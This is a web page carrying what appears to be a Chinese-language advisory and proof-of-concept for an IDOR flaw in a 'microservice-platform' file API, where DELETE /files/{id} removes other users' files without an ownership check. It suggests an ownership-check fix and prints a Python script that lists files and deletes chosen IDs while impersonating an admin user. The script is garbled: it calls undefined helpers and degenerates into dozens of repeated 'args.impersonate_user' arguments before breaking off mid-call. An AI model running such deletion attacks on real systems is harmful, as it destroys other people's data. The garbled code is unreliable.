microservice-platform File Delete Privilege Escalation (IDOR) PoC

漏洞概述 漏洞类型：任意文件删除（任意文件删除/越权删除） 漏洞位置： 接口（ 中的 方法） 漏洞原因： 方法中， 参数未做归属校验，攻击者可构造任意 删除非本人文件。 影响范围 影响模块： 中的文件管理模块 影响接口： 影响对象：所有通过该接口删除文件的用户，存在越权删除他人文件的风险 修复方案 修复思路：在 中增加文件归属校验，确保只有文件所有者或管理员可执行删除操作 具体修复：在删除前校验 对应的文件是否属于当前登录用户（或管理员），否则返回 403/404 POC 代码 ```python #!/usr/bin/env python3 -- coding: utf-8 -- C19 DELETE /files/{id} 越权删除任意文件 (POC) 漏洞简介： 漏洞类型：任意文件删除 漏洞位置：microservice-platform/central/file/controller/FileController.java delete(MultipartFile String id) -> AbstractFileService.delete(id) - baseMapper.selectById(fileId) 查找记录（不存在返回 null） - deleteById(fileId) 删除对象存在/不存在 - 无论"文件不存在" 或 对象是否归属当前用户，均可删除 - 攻击者可构造任意 fileId 删除非本人文件 两种用法： 默认：不带 --file-id 时，先列出所有文件，再删除指定文件 指定：--file-id 直接删除指定文件 import argparse import os import sys sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)), "lib")) def extract_records(data): """从 list 或 dict 中提取记录列表""" if isinstance(data, dict): d = data.get("data") if isinstance(d, dict): for key in ("records", "datas", "list"): v = d.get(key) if isinstance(v, list): return v return [] elif isinstance(data, list): return data return [] def main(): p = argparse.ArgumentParser(description="C19 越权删除任意文件 (POC 脚本，对象存储桶，无归属校验)") p.add_argument("--base", default="http://127.0.0.1:8080") p.add_argument("--prefix", default="", help="文件路径前缀，如 /files") p.add_argument("--token", default="") p.add_argument("--username", default=os.environ.get("USERNAME")) p.add_argument("--client-id", default=os.environ.get("CLIENT_ID")) p.add_argument("--client-secret", default=os.environ.get("CLIENT_SECRET")) p.add_argument("--direct-base", default="") p.add_argument("--impersonate-user", default="admin") p.add_argument("--impersonate-id", default="1") p.add_argument("--list", action="store_true", help="列出所有文件（GET /files 无鉴权访问）") p.add_argument("--limit", type=int, default=10, help="限制列表数量") p.add_argument("--file-id", help="指定要删除的文件 ID（直接删除测试）") p.add_argument("--apply", action="store_true", help="真正执行删除（默认 dry-run）") p.add_argument("--insecure", action="store_true") args = p.parse_args() oc_main_help("C19", "DELETE /files/{id} 任意用户可删除非本人文件（无归属校验）", ["python3 - base http://gateway --list", "python3 - base http://gateway --file-id --apply 真正删除（不可恢复）"]) token = args.token if not args.token and not token: token, _ = oc_get_token(args.base, args.client_id, args.client_secret, args.username, args.password) if not token: print("token 为空，无法继续") client = oc_client( args.base, args.direct_base or args.base, args.direct_base or args.base, args.impersonate_user, args.impersonate_id, args.impersonate_user, args.impersonate_id, args.impersonate_user, args.impersonate_id, args.impersonate_user, args.impersonate_id, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user, args.impersonate_user,

Goal Reached Thanks to every supporter — we hit 100%!

microservice-platform File Delete Privilege Escalation (IDOR) PoC

More from this source